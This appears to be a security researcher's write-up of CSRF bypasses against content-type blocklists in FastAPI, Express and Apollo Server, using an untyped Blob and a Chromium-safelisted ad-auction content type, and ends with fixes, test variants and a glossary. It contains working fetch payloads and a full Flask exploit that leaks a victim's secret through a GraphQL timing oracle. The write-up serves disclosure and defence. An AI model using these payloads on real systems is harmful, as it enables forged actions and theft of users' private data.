Line by line: fetch sends a request to the target URL. method: "POST" makes it a POST. body: is the data being sent, here a Blob wrapping a JSON string with a new name and email. Because the Blob has no type, the browser does not add a Content-Type header. credentials: "include" tells the browser to attach the victim's cookies. The result: no browser warnings, no preflight negotiation, no user interaction beyond visiting the page. The profile is updated.

After the CTF went public, other researchers picked up the technique; one write-up covers it from a different angle.

The lesson: the absence of a Content-Type is not neutral. Depending on the framework, it can be more permissive than sending one.

Scenario 2: the content type Chromium quietly safelisted

Since CSRF defences built around content-type blocking maintain a list of the three spec-defined simple types, message/ad-auction-trusted-signals-request is on none of them. On unpatched Chromium the request slid past:

fetch("https://vulnerable-corp.com/profile/update", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwn", email: "[redacted]" }),
    credentials: "include"
});

Line by line: this is the same idea as before, but instead of hiding the content type, it sets it explicitly to the fourth type Chromium treats as simple. headers sets Content-Type to message/ad-auction-trusted-signals-request. body is a JSON string. credentials: "include" attaches the victim's cookies. Unpatched Chromium sent this with no preflight. If the server's body parser handles JSON regardless of content type, the attack lands cleanly.

The Express challenge

To demonstrate the pattern, the second challenge uses an Express.js application whose CSRF defence genuinely tries to cover its bases:

const SIMPLE_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
    ''
];

function csrfProtection(req, res, next) {
    if (req.method === 'OPTIONS') return next();

    const contentType = (req.headers['content-type'] || '').split(';')[0].trim().toLowerCase();

    if (SIMPLE_CONTENT_TYPES.includes(contentType))
        return res.status(403).json({ error: 'Forbidden: simple content-type rejected (potential CSRF)' });

    next();
}

app.use(express.json({ type: () => true }));
app.use(session({ secret: process.env.SECRET, resave: false, saveUninitialized: true }));
app.use(csrfProtection);

Line by line: SIMPLE_CONTENT_TYPES is a list of content types the middleware considers dangerous, and it includes the empty string ''. The csrfProtection function runs on each request. If the request method is OPTIONS (the preflight itself), it lets it through. Otherwise it reads the content-type header, splits off any parameters after a semicolon, trims spaces and lowercases it. If the result is in the dangerous list, it responds with a 403 Forbidden error. Otherwise it calls next(), which passes the request on to the next handler. Then three pieces are wired up: express.json({ type: () => true }) makes Express parse JSON on every request; session(...) sets up sessions with a secret from the environment; and csrfProtection is applied.

Two lines stand out. First:

app.use(express.json({ type: () => true }));

type: () => true tells Express to attempt JSON body parsing on every incoming request, regardless of Content-Type. It is a convenience pattern: route handlers never have to think about content negotiation, everything arrives as a parsed object.

Second, the middleware is a blacklist of content types it considers dangerous. It is thoughtful about it: it strips parameters from the header, so application/json; charset=utf-8 normalises to application/json before the check; it blocks all three simple types; and it even blocks the empty string '', which explicitly patches the Blob trick from Scenario 1.

The model is: parse everything as JSON, then reject the request if the content type looks like a CSRF attempt. That holds until you notice the blacklist can only block content types it knows about. When a request arrives with Content-Type: message/ad-auction-trusted-signals-request:

  1. Express parses the body as JSON.
  2. The CSRF middleware checks the content type, which is not in the blocklist.
  3. The request passes through to the route handler.
  4. The handler receives a perfectly formed object containing the attacker's payload.
fetch("https://vulnerable-corp.com/profile", {
    method: "POST",
    headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
    body: JSON.stringify({ name: "pwned" }),
    credentials: "include"
});

Line by line: send a POST to the profile endpoint, set the content type to the fourth Chromium type, put a JSON body with a new name, and include the victim's cookies. The challenge only updates a name value in the session, deliberately simple to keep the focus on the technique. The same pattern on an endpoint that changes a password, updates an account email or initiates a transfer has very different consequences.

Apollo Server's preventCsrf

While digging through Apollo Server's source on a white-box engagement, the researcher found preventCsrf.ts using the same blocklist approach:

import MIMEType from 'whatwg-mimetype';
import { BadRequestError } from './internalErrorClasses.js';

export const recommendedCsrfPreventionRequestHeaders = [
    'x-apollo-operation-name',
    'apollo-require-preflight',
];

const NON_PREFLIGHTED_CONTENT_TYPES = [
    'application/x-www-form-urlencoded',
    'multipart/form-data',
    'text/plain',
];

export function preventCsrf(
    headers: HeaderMap,
    csrfPreventionRequestHeaders: string[],
) {
    const contentType = headers.get('content-type');

    if (contentType !== undefined) {
        const contentTypeParsed = MIMEType.parse(contentType);
        if (contentTypeParsed === null) {
            return;
        }
        if (!NON_PREFLIGHTED_CONTENT_TYPES.includes(contentTypeParsed.essence)) {
            return;
        }
    }

    if (
        csrfPreventionRequestHeaders.some((header) => {
            const value = headers.get(header);
            return value !== undefined && value.length > 0;
        })
    ) {
        return;
    }

    throw new BadRequestError(
        `This operation has been blocked as a potential Cross-Site Request Forgery ` +
        `(CSRF). Please either specify a 'content-type' header (with a type that ` +
        `is not one of ${NON_PREFLIGHTED_CONTENT_TYPES.join(', ')}) or provide ` +
        `a non-empty value for one of the following headers: ${csrfPreventionRequestHeaders.join(', ')}\n`,
    );
}

Line by line: the file imports a MIME type parser and an error class. recommendedCsrfPreventionRequestHeaders lists two headers that, if present, tell Apollo the request is intentional. NON_PREFLIGHTED_CONTENT_TYPES lists the three simple types. The preventCsrf function reads the content-type header. If it exists, it parses it; if parsing fails, it returns (lets the request through). If the parsed type is not one of the three simple types, it returns (lets it through). Then, if any of the recommended headers is present with a non-empty value, it returns. Otherwise it throws a BadRequestError explaining that the request was blocked as a potential CSRF.

The blocklist has the same three entries. message/ad-auction-trusted-signals-request is not one of them, so a request carrying that content type passes the check, regardless of whether it is a GET or a POST.

Sending a POST with a mutation and having Apollo execute it runs into two blockers:

  1. Apollo Server blocks mutations on GET requests; mutations are only allowed over POST.
  2. Apollo Server uses Express's built-in body-parser, which only parses the body as JSON when the Content-Type is strictly application/json.

So POST is out: the bypass content type that gets past preventCsrf is the same thing that stops body-parser from parsing the body. That leaves GET.

GET: the way in

GET requests carry the query, operation name, variables and extensions in URL parameters, with no body at all. Apollo handles them like this:

case 'GET': {
    const searchParams = new URLSearchParams(httpRequest.search);

    graphQLRequest = {
        query: searchParamIfSpecifiedOnce(searchParams, 'query'),
        operationName: searchParamIfSpecifiedOnce(searchParams, 'operationName'),
        variables: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'variables'),
        extensions: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'extensions'),
        http: httpRequest,
    };

    break;
}

Line by line: when the request method is GET, Apollo builds a URLSearchParams object from the URL's query string. It then builds a GraphQL request by reading query, operationName, variables and extensions from those URL parameters, each read only once and parsed as JSON where needed. Since the operation lives in the URL, body-parser is irrelevant; there is nothing for it to parse. The bypass content type satisfies preventCsrf, the GET handler reads query straight out of the search params, and the operation runs against the victim's session.

That allows any query against the victim's session, but not mutations. Classic CSRF is ruled out, and the attack moves toward XS-Leak.

Building the XS-Leak

XS-Leak (cross-site leak) is a class of attack where the attacker infers information about a cross-origin response without reading it. The Same-Origin Policy still hides the body, but side channels leak: how long the request took, how big the response was, whether it threw an error. Response timing is exposed through performance APIs, and response size shows up indirectly as download duration. Think of it like guessing a password by watching how long the lock takes to click, rather than reading the password itself.

The demo is a small Apollo + Express app with a searchNotes resolver that returns notes matching a substring. The note text is what gets exfiltrated:

import { ApolloServer } from "@apollo/server";
import { expressMiddleware } from "@as-integrations/express5";
import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const notes = [
  { id: "1", text: "voorivex_secret123" },
];

const typeDefs = `#graphql
  type Note {
    id: ID!
    text: String!
  }
  type Query {
    notes: [Note!]!
    searchNotes(query: String!): [Note!]!
  }
`;

const resolvers = {
  Query: {
    notes: () => notes,
    searchNotes: (_, { query }) =>
      notes.filter(n => n.text.toLowerCase().includes(query.toLowerCase()))
  }
};

const server = new ApolloServer({ typeDefs, resolvers });
const app = express();
await server.start();

app.use(
  "/graphql",
  cors(),
  bodyParser.json(),
  expressMiddleware(server)
);

app.listen(4000, () => console.log("🚀 Server ready at http://localhost:4000/graphql"));

Line by line: import the Apollo server, the Express integration, Express itself, the body parser and the CORS middleware. Define a list of notes, one of which contains the secret text voorivex_secret123. Define the GraphQL schema: a Note type with an id and a text, and two queries, notes (return all notes) and searchNotes (return notes whose text contains the given substring). Define the resolvers: notes returns the list, searchNotes filters it case-insensitively. Create the Apollo server and the Express app, start Apollo, and mount the GraphQL endpoint at /graphql with CORS, JSON body parsing and the Apollo middleware. Finally listen on port 4000.

Imagine voorivex_secret123 is something only the logged-in user should see, such as an API key, a private token or internal data tied to the session. Apollo's CSRF protection is in place. CORS is permissive, but the response is unreadable cross-origin.

The exploit chains three things: the Chromium content-type bypass, Apollo's automatic persisted queries (APQ) cache, and a timing oracle on the response.

Step 1: pick the signal

The response cannot be read, but the time it takes to arrive can be measured. A bigger response takes longer to download. If a match response is much bigger than a no-match response, the time difference becomes a reliable yes/no oracle. An oracle here means a way to get a yes or no answer out of a system that will not tell you directly.

GraphQL aliases make this easy. The same field can be requested under any number of names in one query (h1: text, h2: text, h3: text, ...), and each alias produces its own copy of the value in the response. Ask for text thousands of times and a search hit serialises the matched note into every alias slot. A short secret balloons into tens of kilobytes.

Step 2: get the heavy query into the victim's browser

The only path past preventCsrf + body-parser is GET, and GET has to fit in a URL. Express's default limit is 16 KB for the entire request (URL plus headers combined), so a 99,000-character selection set is nowhere close to fitting.

Apollo's automatic persisted queries solve this. APQ is a performance feature: instead of sending the full query text on every request, the client sends a SHA-256 hash and Apollo looks the operation up in a cache. The first time a hash is seen, the client sends the full query and Apollo caches it; from then on the short hash triggers the same operation. A hash is a short fingerprint of data: the same input always produces the same fingerprint, and you cannot work backwards from the fingerprint to the input.

The attacker primes this cache server-to-server, registering 36 cached queries (one per candidate character [a-z0-9]) by POSTing each to Apollo with a normal application/json content type. Each query searches for prefix + candidate_char and carries thousands of text aliases as padding. Apollo stores them, and each is addressable by a 64-character hash. The URL problem dissolves: the 99,000-character query lives on the server, and the victim's browser only sends the hash.

Step 3: probe from the victim's browser

The victim visits the attacker's page. The page fires GET requests to Apollo, one per hash. The Content-Type: message/ad-auction-trusted-signals-request header gets each request past preventCsrf, unpatched Chromium skips the preflight, and the request fires with the victim's cookies attached. Apollo executes the cached query against the victim's data.

The response is unreadable cross-origin, but performance.getEntriesByName(url).duration exposes how long it took. No match returns in single-digit milliseconds; a match, with its tens of kilobytes of inflated response, takes longer.

Step 4: walk the secret one character at a time

When a hash comes back SLOW, the attacker knows that hash's candidate character matches the next position in the secret. Append it to the known prefix, prime 36 new cached queries, probe again, repeat. The full secret reconstructs character by character, from a page the attacker controls, against a server with CSRF protection enabled, against responses the browser never lets the attacker read directly.

The full exploit is a Flask app that automates the loop. It runs on the attacker's domain, and the victim only has to visit /:

from flask import Flask, request, render_template_string, redirect, url_for
import requests
import hashlib
import random
import json

app = Flask(__name__)

GRAPHQL_ENDPOINT = "http://[redacted]:4000/graphql"

def build_query(prefix):
    generated_chars = ""
    limited_chars = 99000

    while limited_chars > len(generated_chars):
        generated_chars += (
            "h"
            + str(random.random()).split(".")[1].replace("-", "")
            + ":text@include(if:true),"
        )

    return f'{{searchNotes(query:"{prefix}"){{{generated_chars}}}}}'

def create_cache_for_prefix(prefix):
    """Generate the huge GraphQL query and send persistedQuery POST"""
    chars = [
        "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
        "0","1","2","3","4","5","6","7","8","9"
    ]

    generated_queries = {}
    for i in chars:
        generated_query = build_query(f"{prefix}{i}")
        m = hashlib.sha256()
        m.update(generated_query.encode("utf-8"))

        body = {
            "query": generated_query,
            "extensions": {
                "persistedQuery": {"version": 1, "sha256Hash": m.hexdigest()}
            },
        }

        requests.post(
            GRAPHQL_ENDPOINT,
            data=json.dumps(body),
            headers={"content-type": "application/json"},
        )

        generated_queries[m.hexdigest()] = i

    return generated_queries

@app.route("/")
def index():
    prefix = request.args.get("prefix")

    if prefix:
        # When prefix exists, create cache
        sha = create_cache_for_prefix(prefix)
        return render_template_string(
            TEMPLATE_JS,
            prefix=prefix,
            sha=sha
        )

    # Initial form
    return """
<!DOCTYPE html>
<html>
<head>
<title>Apollo Server XS-Leak Demo</title>
</head>
<body>
<pre><h1>Apollo Server XS-Leak Demo</h1></pre>
</body>
</html>
    """

@app.route("/refresh")
def refresh():
    new_prefix = request.args.get("prefix")
    return redirect(url_for("index", prefix=new_prefix))

TEMPLATE_JS = """
<!DOCTYPE html>
<html>
<head><title>Apollo Server XS-Leak Demo</title></head>
<body>
<pre>
<h1>Apollo Server XS-Leak Demo</h1>
<h3>Exfiltrated characters: '{{prefix}}'</h3>
</pre>

<script>
async function getNetworkDuration(url) {
    await fetch(url, {mode: 'no-cors', credentials: 'include', headers: {"Content-Type": "message/ad-auction-trusted-signals-request"}});
    await new Promise(r => setTimeout(r, 200));
    let res = performance.getEntriesByName(new URL(url).href).pop();
    return res.duration < 10;
}

async function check(hash_list) {
    for (const hash of Object.keys(hash_list)) {
        const url = `http://victim.com:4000/graphql?extensions={"persistedQuery":{"version":1,"sha256Hash":"${hash}"}}`;
        let results = [];
        for (let i = 0; i < 5; i++) {
            results.push(await getNetworkDuration(url));
        }
        let detected = results.every(v => v === false) ? "SLOW" : "FAST";
        if (detected === "SLOW") {
            window.location = `/refresh?prefix={{prefix}}${hash_list[hash]}`;
            break;
        }
    }
}

const hash_list = {{sha|safe}};
check(hash_list);
</script>
</body>
</html>
"""

if __name__ == "__main__":
    app.run(port=80, debug=True)

Line by line: the imports bring in Flask (a small web framework for Python), the requests library for sending HTTP requests, hashlib for hashing, random for generating random alias names, and json for encoding. GRAPHQL_ENDPOINT is the victim's GraphQL address. build_query pads the selection set with aliases until it reaches roughly 99,000 characters: each alias is h followed by random digits, then :text@include(if:true),, which requests the text field under a unique name. create_cache_for_prefix builds one query per candidate character, hashes each with SHA-256, POSTs it to Apollo with content-type: application/json so the persisted query is stored, and returns a map from hash to character. The / route: if a prefix is given, it primes the cache and renders the JavaScript template with the prefix and the hash map; otherwise it shows a simple page. The /refresh route redirects back to / with a new prefix. The template's getNetworkDuration fetches a hash URL with mode: 'no-cors', credentials: 'include' and the bypass content type, waits 200 ms, then reads the duration from performance.getEntriesByName. A duration under 10 ms counts as fast. check loops over the hashes, probes each five times, and only a consistent SLOW result is accepted, after which the page redirects to /refresh with the extended prefix and the loop starts again.

A demo video shows the full extraction.

Root cause

Content-type-based CSRF defences share one assumption: that the set of simple content types is small, known and stable. Both scenarios break that assumption from different directions.

Scenario 1 breaks it on the server. FastAPI decided that no content type meant JSON, so a request the browser considered simple was parsed as a structured body.

Scenario 2 breaks it in the browser. Chromium grew the safelist for an ads API, and every blocklist downstream became incomplete by default. The Express middleware and Apollo's preventCsrf both enumerate the three spec types and reject them; a fourth type that the browser also treats as simple is not on either list, so it passes. In the Express case the body parser is configured to parse JSON for every request (type: () => true), so the bypassed request arrives at the handler fully formed. In the Apollo case the body parser is strict about application/json, which blocks POST mutations, but GET carries the operation in the URL and never needs a body, so the bypass still reaches the resolver.

The deeper issue is the direction of the check. A blocklist of known-bad content types is only as complete as the browser's current safelist, and that list is controlled by browser vendors, not by the application.

Impact

In Scenario 1, an attacker who gets a victim to visit a page can update the victim's profile on the FastAPI application, without a preflight and without user interaction beyond the visit. In the challenge this was a profile update; the same shape applies to any JSON endpoint the framework parses this way.

In Scenario 2, the Express challenge allows the same class of state change against the profile handler that trusts the parsed body. The Apollo case is narrower: mutations are blocked on GET and POST bodies are not parsed under the bypass content type, so the practical impact is read-only queries executed against the victim's session. That is enough for XS-Leak: by inflating responses with aliases and measuring timing, an attacker can reconstruct secret data the victim can see, one character at a time, from a page the attacker controls, against a server with CSRF protection enabled.

All of this depends on the preconditions above: the victim must visit the attacker's page while authenticated, the session cookie must be sent cross-site (SameSite=None; Secure), and, for Scenario 2, the browser must be an unpatched Chromium-based one.

Fix

FastAPI has since patched the missing-header behaviour. Chromium patched the safelist, replacing the enabled-by-default feature flag with a per-request bool in TrustedParams that only internal Protected Audiences code can set, so web-initiated requests with message/ad-auction-trusted-signals-request now trigger a preflight.

The general fix is unchanged: do not rely on content-type checks alone. Anti-CSRF tokens, Origin / Referer validation and SameSite cookies all do work a content-type blocklist cannot. Use them in combination, and threat-model what an attacker gains by forcing a request through, not just whether the request mutates state.

Variants to test

  • Header-less JSON bodies. Send a cross-origin POST with a JSON body wrapped in an untyped Blob and no Content-Type. A positive result is the endpoint parsing and acting on the body without a preflight.
  • Framework-specific implicit JSON. Check how the target framework decides to parse a body when the header is missing, malformed or has an unexpected subtype. A positive result is a body being parsed as JSON under a content type the browser treats as simple.
  • Browser safelist drift. Compare the target's blocklist against the current simple-request logic in each browser engine. A positive result is a content type the browser sends without a preflight that the application's blocklist does not reject.
  • Blacklist normalisation gaps. Try content types with parameters, mixed case and whitespace against middleware that strips or lowercases before comparing. A positive result is a request that reaches the handler while the middleware believes it blocked the type.
  • GET-carried operations. On GraphQL or similar APIs, check whether operations can be supplied entirely through URL parameters. A positive result is a query executing against the victim's session with no body and no preflight.
  • Timing oracles with aliases. Where responses cannot be read, request the same field under many aliases and measure performance.getEntriesByName(url).duration across match and no-match inputs. A positive result is a consistent, measurable difference that survives repeated probes.

Glossary

  • API: a way for one piece of software to talk to another, usually over the web.
  • APQ (automatic persisted queries): a GraphQL performance feature where the client sends a short hash instead of the full query, and the server looks the query up in a cache.
  • Blacklist: a list of things that are blocked; anything not on the list is allowed.
  • Blob: a container for raw bytes in the browser, which can be sent as a request body.
  • Body: the data part of a request, separate from the URL and headers.
  • Browser engine: the core software inside a browser that renders pages and enforces rules like the Same-Origin Policy; examples are Chromium, Firefox's Gecko and WebKit.
  • Chromium: the open-source browser engine behind Chrome, Edge, Brave and others.
  • Content-Type: a header that says what kind of data a request or response body contains.
  • Cookie: a small piece of text a website asks the browser to store and send back on later requests.
  • CORS (Cross-Origin Resource Sharing): the mechanism a server uses to say another website is allowed to read its responses.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request to a site they are logged into, without their intent.
  • CTF (Capture The Flag): a practice security challenge where you exploit a deliberately vulnerable app to find a hidden flag.
  • Endpoint: one specific address on a server that does one specific job.
  • Express.js: a popular web framework for JavaScript running on Node.js.
  • FastAPI: a popular web framework for Python.
  • Feature flag: a switch inside software that turns a feature on or off.
  • fetch: the browser's built-in JavaScript function for sending HTTP requests.
  • Flask: a small web framework for Python.
  • GraphQL: a query language for APIs where the client asks for exactly the fields it wants.
  • GraphQL alias: a way to request the same field under a different name, so the response contains multiple copies.
  • Hash (SHA-256): a short fingerprint of data; the same input always gives the same fingerprint, and you cannot reverse it.
  • Header: a small label attached to a request or response carrying extra information.
  • JSON: a simple text format for structured data.
  • MIME type: the type part of a Content-Type value, such as application/json.
  • Mutation (GraphQL): an operation that changes data, as opposed to a query that only reads it.
  • Oracle: a way to get a yes or no answer out of a system that will not tell you directly.
  • Origin: the combination of scheme, host and port that identifies a website, such as https://bank.com.
  • Preflight: the browser's permission check, an OPTIONS request, sent before a risky cross-site request.
  • Privacy Sandbox / Protected Audience API: Google's advertising systems designed to work without third-party cookies; the source of the fourth content type.
  • Resolver: the part of a GraphQL server that fetches the data for a field.
  • Same-Origin Policy: the browser rule that stops a page on one website from reading data from another.
  • SameSite: a cookie attribute that controls whether the cookie is sent on cross-site requests.
  • Session cookie: the cookie that proves who you are to a site.
  • Simple request: a cross-site request the browser sends without a preflight, defined by its content type.
  • Timing oracle: using how long a request takes as a yes or no signal.
  • White-box engagement: a security review where the tester can read the source code.
  • XS-Leak (cross-site leak): inferring information about a cross-origin response without reading it, using side channels such as timing or size.

More by Amirmohammad Safari

View all

5 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.